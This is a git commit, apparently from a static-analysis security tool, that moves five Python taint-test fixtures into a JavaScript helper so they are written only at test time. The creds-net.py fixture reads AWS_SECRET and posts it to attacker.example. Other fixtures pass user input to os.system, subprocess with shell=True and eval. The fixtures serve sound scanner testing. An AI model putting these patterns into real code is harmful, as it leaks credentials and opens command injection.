test(ast-taint): materialize the ast-scan fixtures at test time

The five Python taint fixtures under tests/fixtures/ast-scan/ move into
tests/helpers/payload-trees.mjs as the `ast-scan` tree, written to a temp
dir by the test like the three S1 trees. av-surface probe (d) gains the
directory: 5 -> 6 trees.

PM decision (S3 order): creds-net.py is os.environ -> requests.post, the
exfiltration shape AV classifiers are trained on; one rule, "no
payload-shaped runnable file on disk", is easier to defend than an
exception. The .py files match no SIG rule and are stored as plain lines.

Deviation from the order: it named three files (sinks, creds-net, scope);
the directory holds five (also reassign.py, sentinel.py). Gating the
directory means all five move.

Measured: (d) red first, d=1 (5 files) of 6 trees, then 0. sha256 of all
five on-disk files taken before git rm; payload-trees.test.mjs asserts
them, mutation-checked (one byte in creds-net.py -> red, restored
byte-identical). ast-taint-scanner.test.mjs 12/12 with the materialized
tree, both before and after the files were removed.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
Kjell Tore Guttormsen 2026-09-22 14:11:27 +02:00
commit d5ff537599
Signed by: ktg
SSH key fingerprint: SHA256:JakMjO6FTBBzN0Bhfj9saOoEjaFxlSdYuZQQpM/lF9Q
8 changed files with 99 additions and 68 deletions

View file

@ -8,6 +8,10 @@
// ('@ev' + 'al(...'), so no contiguous payload literal sits on disk;
// - a zero-width carrier is built with String.fromCodePoint, never written
// as a literal character.
// S3 (2026-09-22) added `ast-scan`: five Python taint fixtures. They match no
// SIG rule and are stored as plain lines, but a runnable .py with the
// os.environ -> requests.post shape is what AV classifiers are trained on, so
// they follow the same rule: no payload-shaped runnable file on disk.
// Each file carries the sha256 of the bytes that were on disk before the move,
// measured then, so tests/helpers/payload-trees.test.mjs proves the scanners
// still see exactly what they saw before (an independent anchor, not a hash of
@ -151,6 +155,87 @@ export const PAYLOAD_TREES = {
+ '?>\n',
},
},
'ast-scan': {
'creds-net.py': {
sha256: '4c4d545b8db8e39bc48a60119f9b6264484ecb1b532d3f47f4c14edf3785ef36',
content: "import os\n"
+ "import requests\n"
+ "\n"
+ "\n"
+ "def exfiltrate():\n"
+ " # Source: os.environ -> intermediate variable -> network sink.\n"
+ " secret = os.environ[\"AWS_SECRET\"]\n"
+ " url = \"https://attacker.example/collect\"\n"
+ " requests.post(url, data=secret)\n",
},
'reassign.py': {
sha256: 'fcda3636e419a47309b37d36ea529c472a47b5b3cd70747a86066bfae4f5be93',
content: "import os\n"
+ "import shlex\n"
+ "\n"
+ "# Taint must CLEAR when a name is rebound to a non-source value (#29).\n"
+ "# Neither function below may produce a finding.\n"
+ "\n"
+ "\n"
+ "def reassigned_constant():\n"
+ " g = os.getenv(\"G\") # tainted source\n"
+ " g = \"safe-constant\" # rebound to a literal -> taint must clear\n"
+ " os.system(g) # must NOT be flagged\n"
+ "\n"
+ "\n"
+ "def sanitized_reassignment():\n"
+ " x = input(\"path> \") # tainted source\n"
+ " x = shlex.quote(x) # rebound to a non-source call -> taint must clear\n"
+ " os.system(x) # must NOT be flagged\n",
},
'scope.py': {
sha256: '79b2eea1a951aa5652bb5f60c471ec4e2eeddfc6d0f6d00c50a2275f5a8595bb',
content: "# The variable `data` exists in both functions, but only one is tainted.\n"
+ "# A scope-aware analysis must flag handler_one and leave handler_two alone.\n"
+ "\n"
+ "\n"
+ "def handler_one(prompt):\n"
+ " data = input(prompt) # tainted source\n"
+ " eval(data) # sink -> should be flagged\n"
+ "\n"
+ "\n"
+ "def handler_two(prompt):\n"
+ " data = \"a constant value\" # literal, NOT tainted\n"
+ " eval(data) # same var name, must NOT be flagged\n",
},
'sentinel.py': {
sha256: '86b0ceaeb9329d3ec0d2fa5c3177a2541be0688e4ca2a2de411c807d2c6d631e',
content: "import os\n"
+ "\n"
+ "# Parse-only safety canary. If the AST helper ever EXECUTES this file instead\n"
+ "# of merely PARSING it (ast.parse), it creates a file named SENTINEL in the\n"
+ "# working directory. The test asserts SENTINEL never appears.\n"
+ "os.system(\"touch SENTINEL\")\n",
},
'sinks.py': {
sha256: 'abc686c8b4349e285d29ac608906d7bfc8b26a934e82c6aa157fd5bfdd32974b',
content: "import os\n"
+ "import subprocess\n"
+ "\n"
+ "# Locks the subprocess/os.system command sinks and the file-write sink (#28).\n"
+ "\n"
+ "\n"
+ "def run_user_command():\n"
+ " cmd = input(\"cmd> \") # tainted source\n"
+ " subprocess.run(cmd, shell=True) # sink: subprocess.* -> AST-CMD-EXEC\n"
+ "\n"
+ "\n"
+ "def shell_from_env():\n"
+ " target = os.getenv(\"TARGET\") # tainted source\n"
+ " os.system(target) # sink: os.system -> AST-CMD-EXEC\n"
+ "\n"
+ "\n"
+ "def leak_to_file():\n"
+ " payload = os.environ[\"DATA\"] # tainted source\n"
+ " log = open(\"out.txt\", \"w\") # write handle\n"
+ " log.write(payload) # sink: file.write -> AST-FILE-WRITE (high)\n",
},
},
};
/**